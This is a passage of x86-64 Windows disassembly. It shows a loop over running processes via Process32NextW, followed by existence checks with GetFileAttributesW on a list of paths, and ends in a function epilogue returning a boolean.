cmp r11, 7
jbe 0x14002600e
lea rdx, [r11*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x140026006
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026129
mov rcx, r10
call fcn.1401128c4
lea rdx, [rsp + 0x540]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140025e90
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x530]
cmp rbx, rdi
je 0x14002606a
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140026052
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140026122
add rbx, 0x20
cmp rbx, rdi
jne 0x140026045
xor bl, bl
lea rcx, [rsp + 0x510]
call fcn.140031cb0
nop
lea rcx, [rsp + 0x528]
call fcn.140031cb0
movzx eax, bl
mov rcx, qword [rsp + 0x780]
xor rcx, rsp
call fcn.140112620
lea r11, [rsp + 0x7d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
vmovaps xmm6, xmmword [r11 - 0x10]
vmovaps xmm7, xmmword [r11 - 0x20]
vmovaps xmm8, xmmword [r11 - 0x30]
vmovaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
ret
add r9, 0x20
cmp r9, rbx
jne 0x140025f80
jmp 0x140025fd3
cmp r11, 7
jbe 0x140026119
lea rdx, [r11*2 + 2]
mov rax, r10
cmp rdx, 0x1000
jb 0x140026111
add rdx, 0x27
mov r10, qword [r10 - 8]
sub rax, r10
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026129
mov rcx, r10
call fcn.1401128c4
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
jmp 0x14002606c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3